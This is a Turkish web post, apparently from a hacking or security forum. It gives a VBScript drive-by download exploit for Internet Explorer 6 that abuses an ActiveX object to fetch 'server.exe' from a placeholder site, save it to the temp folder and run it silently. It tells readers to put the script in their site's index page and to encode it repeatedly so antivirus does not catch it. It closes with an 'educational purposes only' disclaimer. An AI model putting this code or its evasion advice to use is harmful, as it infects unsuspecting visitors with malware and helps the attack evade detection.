Programlama2000 Software & Internet Security

KOD

<script language=”VBScript”>
    on error resume next
    Set d1 = document.createElement(“object”)
    d1.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
    Set d2 = d1.CreateObject(“Microsoft.XMLHTTP”,”")
    set d3 = d1.createobject(“Adodb.Stream”,”")
    d3.type = 1
    d2.Open “GET”, “http://siteniz.com/server.exe” , False
    d2.Send
    set F = d1.createobject(“Scripting.FileSystemObject”,”")
    set pasta = F.GetSpecialFolder(2)
    d4= F.BuildPath(pasta,”server.exe”)
    d3.open
    d3.write d2.responseBody   
    d3.savetofile d4,2
    d3.close
    set obj5 = d1.createobject(“Shell.Application”,”")  
    obj5.ShellExecute d4,”",”",”open”,0
</script>

Bu kodu indexinize koyduğunuz zaman muhtemelen antivirüsler hemen tanıyıp uyarı verecektir.
bu yüzden kodu enc0de etmeniz gerekir.nasılmı?

http://www.codehouse.com/webmaster_tools/html_encoder

buraya kodunuzu yapıştırın ve encode butonuna basın
2. textboxtaki encode edilmiş veriyi alıp indexinize yapıştırın
arka arkaya 2-3 defa encode etmeniz kodunuzu tanınmaz yapmaya yetecektir.

Bilgi :
Bu kod ne konuda eğittiği kesin olarak bilinmesede tamamen eğitim amacı ile verilmiştir.
Internet explorer 6 sürümü olan bütün sistemlerde çalışır.
kodun kullanımı sonucu oluşabilecek zararlardan programlama2000 sorumlu tutulalmaz.